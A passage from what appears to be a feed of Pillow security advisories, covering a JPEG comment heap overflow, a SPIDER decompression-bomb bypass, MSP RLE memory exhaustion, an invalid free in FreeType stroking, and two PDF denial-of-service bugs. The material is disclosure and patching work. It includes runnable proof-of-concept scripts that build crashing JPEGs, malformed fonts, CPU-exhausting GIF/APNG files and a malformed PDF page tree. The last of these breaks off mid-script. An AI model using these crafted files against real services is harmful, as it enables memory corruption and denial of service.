+    comment = info.get("comment", im.info.get("comment")) or b""
+    if isinstance(comment, str):
+        comment = comment.encode()
 
     # "progressive" is the official name, but older documentation
     # says "progression"
@@ -856,10 +858,13 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:
             bufsize += len(exif) + 5
         if extra:
             bufsize += len(extra) + 1
+        if comment:
+            bufsize += len(comment) + 5
     else:
         # The EXIF info needs to be written as one block, + APP1, + one spare byte.
-        # Ensure that our buffer is big enough. Same with the icc_profile block.
-        bufsize = max(len(exif) + 5, len(extra) + 1)
+        # Ensure that our buffer is big enough. Same with the icc_profile block
+        # and the comment (COM marker).
+        bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5)
 
     ImageFile._save(
         im, fp, [ImageFile._Tile("jpeg", (0, 0, *im.size), 0, rawmode)], bufsize
diff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c
index 098e431fc..b6771c6ec 100644
--- a/src/libImaging/JpegEncode.c
+++ b/src/libImaging/JpegEncode.c
@@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 *buf, int bytes) {
         case 4:
 
             if (context->comment) {
+                // check for comment len + 'COM' header bytes
+                if (context->comment_size + 5 >
+                    context->destination.pub.free_in_buffer) {
+                    break;
+                }
                 jpeg_write_marker(
                     &context->cinfo,
                     JPEG_COM,
The reproducer
Reproducer — repro, 3,343 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### Pillow heap buffer overflow in ImagingJpegEncode() (src/libImaging/JpegEncode.c, case 4).

#
##### Re-saving a JPEG with its own ICC profile, the usual "keep the colours" re-encode:

#####     im = Image.open(f); im.save(out, "JPEG", icc_profile=im.info["icc_profile"])
##### If the ICC segment fills the 65536-byte encoder buffer to the last byte, the COM

##### marker (forwarded from im.info["comment"] automatically) is written with
##### free_in_buffer == 0. libjpeg stores the byte, then decrements the counter, which

##### wraps to ~2^64, and the comment plus the whole compressed image go past the end
##### of the heap buffer. The Python process dies with SIGSEGV or a glibc abort.

#
##### Runs against the stock build in /src, no rebuild. Takes about 2 seconds.
import random
import struct
import subprocess
import sys
from io import BytesIO

from PIL import Image

##### Output-buffer layout at the moment the COM marker is written:
ENCODER_BUFFER = 65536  # ImageFile.MAXBLOCK; _save() never makes it bigger here
JFIF_HEADER = 20  # SOI + JFIF APP0, written by jpeg_start_compress()
ICC_OVERHEAD = 18  # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498: exact fit
COMMENT = b"C" * 65533  # largest legal COM; content and length chosen by the file

##### What the victim application does with an uploaded file, run in a child process

##### so that we can see it die.
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
    return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload

def make_jpeg(with_comment):
    """A valid 256x256 JPEG: an ICC profile of ICC_PAYLOAD bytes, optionally a COM."""
    noise = random.Random(1234).randbytes(256 * 256 * 3)  # ~100 KB of image data
    out = BytesIO()
    Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
    plain = out.getvalue()

    icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
    com = segment(0xFE, COMMENT) if with_comment else b""
    return plain[:2] + icc + com + plain[2:]  # splice in right after SOI

def resave(jpeg):
    # -X faulthandler: on a fatal signal, print where in Python the child died
    cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
    r = subprocess.run(cmd, input=jpeg, capture_output=True)
    print((r.stdout + r.stderr).decode(errors="replace").strip())
    print(f"-> exit status {r.returncode}")
    return r.returncode

##### Control: the same file without a COM segment re-saves fine, so the buffer

##### sizing and the ICC profile on their own are harmless.
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))

##### The bug: add a COM segment. The comment is now written into a buffer that has

##### no room left.
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))

##### A negative return code means the child was killed by a signal (SIGSEGV or

##### SIGABRT from glibc's heap checks), not by a Python exception.
if rc < 0:
    print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
    print("BUG")
else:
    print("OK")

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS

BIT-pillow-2026-96637 / CVE-2026-96637 / GHSA-g842-9rc4-69pw / PYSEC-2026-4338

More information

Details

Summary

SpiderImagePlugin's seek() bypasses the decompression bomb check, allowing a tiny (<1KB) crafted SPIDER stack file to trigger a multi-gigabyte allocation on im.load().

Affected versions

All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)

Root cause

Image.open() runs Image._decompression_bomb_check(im.size) exactly once, in _open_core (src/PIL/Image.py:3668), right after the initial _open().

SPIDER stack files are multi-frame: SpiderImageFile.seek(frame) (SpiderImagePlugin.py:179-190) computes an attacker-influenced stkoffset and calls self._open() AGAIN directly (line 190) — NOT through Image.open(). _open() re-parses a fresh 27-float header at that offset and reassigns:

self._size = int(h[12]), int(h[2])      # SpiderImagePlugin.py:131

straight from unvalidated header floats (isSpiderHeader only checks internal labrec*lenbyt==labbyt consistency, never bounds nsam/nrow). No bomb check runs on this new size.

On the subsequent load(), ImageFile.load_prepare() (ImageFile.py:436-437) executes self.im = Image.core.new(self.mode, self.size) with the unchecked, attacker-chosen size. Mode is always "F" (4 bytes/pixel), so e.g. 40000x40000 = 6.4 GB.

Why this is a real bug

Sibling multi-frame plugins DO re-check on their alternate paths:

  • GifImagePlugin.py:286 - Image._decompression_bomb_check(self._size) (in seek)
  • TiffImagePlugin.py:1309 - Image._decompression_bomb_check(self._tile_size)
  • IcnsImagePlugin.py:121/138, IcoImagePlugin.py:236/240 (sub-image selection)

SpiderImagePlugin has NO bomb check anywhere. This is the same class of bug just fixed for GdImageFile (GHSA-phj9-mv4w-65pm) and the FontFile classes (GHSA-5x94/8v84/45hq): an allocation reached on a non-Image.open() path sized by an attacker header field, independent of the one-time pixel bomb check.

Reproduction

Python 3.13, Pillow HEAD e7a7ea84

Attached: pillow_poc_spider_bomb.py

Sets Image.MAX_IMAGE_PIXELS=5000, then:

  • CONTROL: Image.open(standalone 100x100 SPIDER) -> DecompressionBombWarning fires correctly.
  • BYPASS: Image.open(stack, frame0=1x1) passes; im.seek(1) sets size (100,100) with NO DecompressionBombWarning/Error -> the check is bypassed.

Real-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.

Suggested fix

Call Image._decompression_bomb_check(self.size) at the end of SpiderImageFile._open() (or in seek() after _open()), mirroring GifImagePlugin / TiffImagePlugin. Optionally validate nsam/nrow are positive and sane in _open().

Credit: Yazan Balawneh - CyStack Security Team
pillow_poc_spider_bomb.py

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: MSP RLE decoder expands a tiny file into unbounded memory

BIT-pillow-2026-112892 / CVE-2026-112892 / GHSA-gg2r-wvfm-q9rx

More information

Details

Summary

The MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels.

Details

The MSP decoder writes each run into an unbounded io.BytesIO and can expand roughly 85x per run:

  • src/PIL/MspImagePlugin.py:144-146
Impact

Memory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so MAX_IMAGE_PIXELS does not bound it.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Invalid free in FreeType glyph rendering when a stroker is active

BIT-pillow-2026-112893 / CVE-2026-112893 / GHSA-j4m9-6w36-pw47

More information

Details

Summary

When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FT_Load_Glyph fails for a glyph, the cleanup path calls FT_Done_Glyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

Details

glyph is declared without a NULL initializer:

  • src/_imagingft.c:848

The first measurement loop can jump to glyph_error before glyph is ever assigned:

  • src/_imagingft.c:1010-1013

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

  • src/_imagingft.c:1242

The cleanup frees it whenever a stroker exists:

  • src/_imagingft.c:1253-1256

ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.

PoC

This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FT_Load_Glyph returns an error while the face still opens.

import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer

Result on the pinned build: FT_Load_Glyph returns an error and execution reaches the glyph_error cleanup that calls FT_Done_Glyph(glyph) (the plugin surfaces OSError: invalid outline).

Impact

Applications that draw text with stroke_width != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FT_Done_Glyph.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)

BIT-pillow-2026-112894 / CVE-2026-112894 / GHSA-jg86-v3jv-hrpm

More information

Details

============================================================================
Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)
Location: src/PIL/PdfParser.py:629  in next_object_id()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely declares a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.

The cause is PdfParser.next_object_id() in src/PIL/PdfParser.py, which finds the next free id by computing max(self.xref_table.keys()). XrefTable.keys() rebuilds three sets over every id reserved so far on each call. PdfImagePlugin._save() calls it three times (four for palette images with transparency) per frame, for n_frames frames, before any page is written. That makes the id-reservation loop alone O(N²). Because n_frames is taken from the file before any frame is seeked, APNG's acTL count drives the loop even when the frames don't exist. In that case the save raises OSError only after the full delay.

The precondition is that the application calls im.save(..., "PDF", save_all=True) on the attacker's file; Image.open() and load() alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in 6207b44ab1ff (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in XrefTable makes the save linear.

Details

Saving a multi-frame image as a multi-page PDF (im.save(fp, "PDF", save_all=True)) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far.

A 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not):

frames GIF size im.save(BytesIO(), "PDF", save_all=True) peak RSS
2 000 30 KB 1.1 s
8 000 120 KB 14.7 s
16 000 240 KB 70 s 60 MB
32 000 480 KB 262 s 95 MB
48 000 720 KB still running at 120 s (extrapolated ≈ 10 min)

Each doubling of the input roughly quadruples the time. cProfile of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of PdfParser.next_object_id (8.9 s inside XrefTable.keys, 3.9 s inside max); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly.

The per-page id reservation loop runs before any page is written:


##### src/PIL/PdfImagePlugin.py:247-259  (_save)
    for im in ims:
        im_number_of_pages = 1
        if save_all:
            im_number_of_pages = getattr(im, "n_frames", 1)
        …
        for i in range(im_number_of_pages):
            image_refs.append(existing_pdf.next_object_id(0))
            if im.mode == "P" and "transparency" in im.info:
                image_refs.append(existing_pdf.next_object_id(0))

            page_refs.append(existing_pdf.next_object_id(0))
            contents_refs.append(existing_pdf.next_object_id(0))

n_frames comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on n_frames before any frame is seeked, and for APNG n_frames is the num_frames value declared in the acTL chunk, rejected only if it is 0 or above 0x80000000 (src/PIL/PngImagePlugin.py:716-720). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for P images with transparency) calls per frame lands here:


##### src/PIL/PdfParser.py:626-634
    def next_object_id(self, offset: int | None = None) -> IndirectReference:
        try:
            # TODO: support reuse of deleted objects
            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)
        except ValueError:
            reference = IndirectReference(1, 0)
        if offset is not None:
            self.xref_table[reference.object_id] = (offset, 0)
        return reference

##### src/PIL/PdfParser.py:175-178  (XrefTable)
    def keys(self) -> set[int]:
        return (
            set(self.existing_entries.keys()) - set(self.deleted_entries.keys())
        ) | set(self.new_entries.keys())

_save passes offset=0, so every reserved id is inserted into xref_table.new_entries. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then max() scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before _write_image is reached for the first frame. Nothing on this path consults MAX_IMAGE_PIXELS (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises OSError only once the id loop has finished and the first missing frame is seeked.

This reservation scheme was introduced in 6207b44ab1ff ("issue #​2959: support appending to existing PDFs", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically.

For contrast, write_obj(ref, …) with an already-reserved ref (src/PIL/PdfParser.py:548-555) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed.

Impact

The precondition is that the application saves the attacker's image as PDF with save_all=True; Image.open() and load() alone do not reach this code. An application that converts uploaded images to PDF this way — the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input — can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4½ minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in acTL drives the same quadratic loop, up to the 2³¹ cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and save_all saves of images with tens or hundreds of frames, are unaffected in practice.

This is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS readline), but on the PDF writer side, reached only through a save rather than on open, and driven by frame count rather than by line structure.

Reproducing

repro is a single Python script. Run it with the Python that has Pillow installed (./repro). It uses under 100 MB of RAM and writes no files.

Input. Two kinds of file are built in memory, each with 2 000 and 8 000 frames:

  • gif(n): a valid animated GIF — a GIF89a header with a 1×1 logical screen and a 2-colour global palette, then n copies of one 15-byte frame (a 1×1 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has.
  • apng(n): a 125-byte APNG — a 1×1 greyscale IHDR, an acTL chunk declaring n frames, one fcTL, one IDAT and IEND. Only the first frame exists; the other n − 1 are merely declared.

Action. Each file goes through what an upload-to-PDF converter would do: Image.open(BytesIO(data)), then im.save(BytesIO(), "PDF", save_all=True), timed with time.process_time(). For the APNG the save raises OSError once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all n declared frames, so the exception is caught and the CPU time up to it is recorded.

Expected output (stock build at this commit):

GIF  frames= 2000 file= 30020 B  save CPU=  1.03s  result=ok
GIF  frames= 8000 file=120020 B  save CPU= 11.68s  result=ok
GIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x)
APNG frames= 2000 file=   125 B  save CPU=  0.65s  result=OSError(Truncated File Read)
APNG frames= 8000 file=   125 B  save CPU= 10.48s  result=OSError(Truncated File Read)
APNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x)
BUG

A linear save would take about 4× as long for 4× the frames; here the GIF save grows ~11× and the APNG save ~16×, the latter with the file size fixed at 125 bytes. The script prints BUG when the save CPU for either format grows at least 8× for 4× the frames (twice the linear expectation), otherwise OK. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file.

With the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7×) and the APNG save 0.01 s / 0.03 s, and the script prints OK.

Suggested fix

Make next_object_id() O(1) by tracking the highest object id ever stored in XrefTable instead of rebuilding the key set on every call. The attached patch does this in src/PIL/PdfParser.py:

--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ class XrefTable:
         self.deleted_entries = {0: 65536}  # object ID => generation
         self.reading_finished = False
+        self.max_object_id = 0  # highest object ID ever stored, deleted or not

     def __setitem__(self, key: int, value: tuple[int, int]) -> None:
         if self.reading_finished:
             self.new_entries[key] = value
         else:
             self.existing_entries[key] = value
+        if key > self.max_object_id:
+            self.max_object_id = key
         if key in self.deleted_entries:
             del self.deleted_entries[key]
@@ class PdfParser:
     def next_object_id(self, offset: int | None = None) -> IndirectReference:
-        try:
-            # TODO: support reuse of deleted objects
-            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)
-        except ValueError:
-            reference = IndirectReference(1, 0)
+        # TODO: support reuse of deleted objects
+        reference = IndirectReference(self.xref_table.max_object_id + 1, 0)
         if offset is not None:
             self.xref_table[reference.object_id] = (offset, 0)
         return reference

existing_entries is only ever populated through __setitem__ (from read_xref_table / read_prev_trailer), so the counter also covers ids read from an existing file in append=True mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (del_root() / rewrite_pages() in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id — the more conservative choice for an xref table, and the one the existing TODO: support reuse of deleted objects comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, Tests/test_file_pdf.py and Tests/test_pdfparser.py pass, and the reproducer prints OK.

An alternative limited to the writer would be to reserve the 3 × number_of_pages ids in PdfImagePlugin._save() arithmetically from a single next_object_id() call, but fixing the allocator also covers write_obj(None, …) callers.

The patch does not address a separate, linear issue: PdfImagePlugin._save() still trusts n_frames before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG acTL up to 2³¹) still makes it loop 3 × n_frames times before the first failing seek. Reserving ids per successfully seeked frame, or validating n_frames in such plugins, would close that.

The patch

Track the highest object ID in XrefTable so PdfParser.next_object_id() is O(1) instead of rebuilding and scanning the key set

Applies to src/PIL/PdfParser.py at the commit above.

diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..82ebfb867 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -133,12 +133,15 @@ class XrefTable:
         )  # object ID => (offset, generation)
         self.deleted_entries = {0: 65536}  # object ID => generation
         self.reading_finished = False
+        self.max_object_id = 0  # highest object ID ever stored, deleted or not
 
     def __setitem__(self, key: int, value: tuple[int, int]) -> None:
         if self.reading_finished:
             self.new_entries[key] = value
         else:
             self.existing_entries[key] = value
+        if key > self.max_object_id:
+            self.max_object_id = key
         if key in self.deleted_entries:
             del self.deleted_entries[key]
 
@@ -624,11 +627,8 @@ class PdfParser:
         self.orig_pages = self.pages[:]
 
     def next_object_id(self, offset: int | None = None) -> IndirectReference:
-        try:
-            # TODO: support reuse of deleted objects
-            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)
-        except ValueError:
-            reference = IndirectReference(1, 0)
+        # TODO: support reuse of deleted objects
+        reference = IndirectReference(self.xref_table.max_object_id + 1, 0)
         if offset is not None:
             self.xref_table[reference.object_id] = (offset, 0)
         return reference
The reproducer
Reproducer — repro, 1,791 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### PDF save_all is O(frames^2): PdfParser.next_object_id() does max(XrefTable.keys()),

##### and keys() rebuilds sets of every id reserved so far, 3 calls per frame.
##### (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely

##### *declares* N frames - ids are reserved for all N before the first seek fails.
import io, struct, time, zlib
from PIL import Image

def gif(n):
    return (b"GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff"
            + b"\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00" * n + b"\x3b")

def apng(n):
    def chunk(t, d):
        return struct.pack(">I", len(d)) + t + d + struct.pack(">I", zlib.crc32(t + d))
    return (b"\x89PNG\r\n\x1a\n"
            + chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 0, 0, 0, 0))
            + chunk(b"acTL", struct.pack(">II", n, 0))
            + chunk(b"fcTL", struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 1, 0, 0))
            + chunk(b"IDAT", zlib.compress(b"\x00\x00")) + chunk(b"IEND", b""))

def save_pdf(data):
    im = Image.open(io.BytesIO(data))
    t = time.process_time()
    try:
        im.save(io.BytesIO(), "PDF", save_all=True)
        res = "ok"
    except OSError as e:          # APNG: frames don't exist, fails *after* the id loop
        res = f"OSError({e})"
    return time.process_time() - t, res

bug = False
for name, make in (("GIF", gif), ("APNG", apng)):
    t = {}
    for n in (2000, 8000):
        data = make(n)
        t[n], res = save_pdf(data)
        print(f"{name:4} frames={n:5} file={len(data):6} B  save CPU={t[n]:6.2f}s  result={res}")
    growth = t[8000] / t[2000]
    print(f"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)")
    if growth >= 8:
        bug = True
print("BUG" if bug else "OK")

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion

BIT-pillow-2026-96640 / CVE-2026-96640 / GHSA-mrfp-p49p-3hf2

More information

Details

Summary

Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.

An attacker who can supply an existing PDF to an application that appends an image with Image.save(..., format="PDF", append=True) can provide a malformed /Pages tree where each level repeats the same child /Pages reference in /Kids. Pillow treats the graph as a tree and expands each repeated reference in PdfParser.linearize_page_tree() without tracking visited or duplicate indirect references.

In the bounded proof below, a 1410-byte PDF expands to 8192 page references from one distinct page object and takes about 9.6 seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about 0.02 seconds.

This is in scope for Pillow's security policy because it is reproducible in main, affects the latest public release tested (12.3.0), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.

Details
Affected versions
  • Package: Pillow
  • Ecosystem: pip / PyPI
  • Affected component: src/PIL/PdfParser.py page-tree traversal reached from src/PIL/PdfImagePlugin.py PDF append handling
  • Runtime-tested affected release: 12.3.0
  • Runtime-tested affected development version: 13.0.0.dev0
  • Tested commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Current source artifact hash: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054
  • Release 12.3.0 commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Release 12.3.0 source artifact hash: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81
  • Source-level affected: 5.1.0, 12.2.0, 12.3.0, and HEAD
  • Likely affected range: >= 5.1.0
  • Patched versions: none known

Evidence fact strings:

  • Runtime-tested affected: 12.3.0
  • Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Source-level affected: 5.1.0
  • Source-level affected: 12.2.0
  • Source-level affected: HEAD
  • Likely affected range: >= 5.1.0, no fixed version known
  • Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py

5.0.0 contains src/PIL/PdfImagePlugin.py but does not contain src/PIL/PdfParser.py. PdfParser.py was introduced by 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #&#8203;2959: support appending to existing PDFs), which shipped in 5.1.0.

Technical details

The reachable path is:

  1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:

    Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
    
  2. src/PIL/PdfImagePlugin.py routes append=True to PdfParser:

    is_appending = im.encoderinfo.get("append", False)
    filename_str = filename.decode() if isinstance(filename, bytes) else filename
    if is_appending:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
    else:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
    
  3. src/PIL/PdfParser.py parses the existing PDF and linearizes the page tree:

    self.page_tree_root = self.read_indirect(self.pages_ref)
    self.pages = self.linearize_page_tree(self.page_tree_root)
    self.orig_pages = self.pages[:]
    
  4. linearize_page_tree() recursively follows every /Kids entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:

    def linearize_page_tree(
        self, node: PdfDict | None = None
    ) -> list[IndirectReference]:
        page_node = node if node is not None else self.page_tree_root
        check_format_condition(
            page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
        )
        pages = []
        for kid in page_node[b"Kids"]:
            kid_object = self.read_indirect(kid)
            if kid_object[b"Type"] == b"Page":
                pages.append(kid)
            else:
                pages.extend(self.linearize_page_tree(node=kid_object))
        return pages
    
  5. During append, rewrite_pages() then iterates the expanded orig_pages list and scans/replaces entries in self.pages, adding more cost to the already expanded duplicate-reference list.

The missing invariant is:

The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.

The proof intentionally uses a malformed PDF page-tree DAG: each /Pages node repeats the same next /Pages child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.

PoC

Environment used for validation:

  • OS/runtime: Linux, Python 3.13.11
  • Current tested build: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Latest release tested: Pillow 12.3.0
  • The proof uses only synthetic in-memory PDFs and does not contact the network.

Save this as poc_pillow_pdf_page_tree_dag.py:


#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL

def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

    result = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for object_id, value in enumerate(objects, start=1):
        offsets.append(len(result))
        result.extend(f"{object_id} 0 obj\n".encode("ascii"))
        result.extend(value)
        result.extend(b"\nendobj\n")

    xref_offset = len(result)
    result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
